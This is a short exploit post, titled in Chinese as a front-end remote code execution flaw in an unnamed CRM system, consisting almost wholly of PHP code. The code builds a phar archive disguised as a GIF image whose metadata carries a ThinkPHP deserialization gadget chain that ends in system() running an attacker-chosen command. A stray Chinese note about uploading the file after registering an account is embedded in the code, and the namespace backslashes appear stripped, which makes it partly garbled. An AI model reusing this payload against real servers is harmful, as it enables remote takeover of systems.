某CRM系统前台RCE漏洞

<?phpnamespace LeagueFlysystemCachedStorage{class Psr6Cache{private $pool;protected $autosave = false;public function __construct($exp) {$this->pool = $exp; } }}namespace thinklog{class Channel{protected $logger;protected $lazy = true;public function __construct($exp) {$this->logger = $exp;$this->lazy = false; } }}namespace think{class Request{protected $url;public function __construct() {$this->url = '<?= system('要执行的命令'); exit(); ?>'; } }class App{protected $instances = [];public function __construct() {$this->instances = ['thinkRequest'=>new Request()]; } }}namespace thinkviewdriver{class Php{}}namespace thinklogdriver{class Socket{protected $config = [];protected $app;protected $clientArg = [];public function __construct() {$this->config = [注册⽤户后上传⽂件'debug'=>true,'force_client_ids' => 1,'allow_client_ids' => '','format_head' => [new thinkviewdriverPhp,'display'], # 利⽤类和⽅法 ];$this->app = new thinkApp();$this->clientArg = ['tabid'=>'1']; } }}namespace {@unlink('shell.png');$phar = new Phar("phar.phar"); //$phar->startBuffering();$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');$c = new thinklogdriverSocket();$b = new thinklogChannel($c);$a = new LeagueFlysystemCachedStoragePsr6Cache($b);$phar->setMetadata($a);$phar->addFromString("a", "a"); //添加要压缩的⽂件$phar->stopBuffering();}?>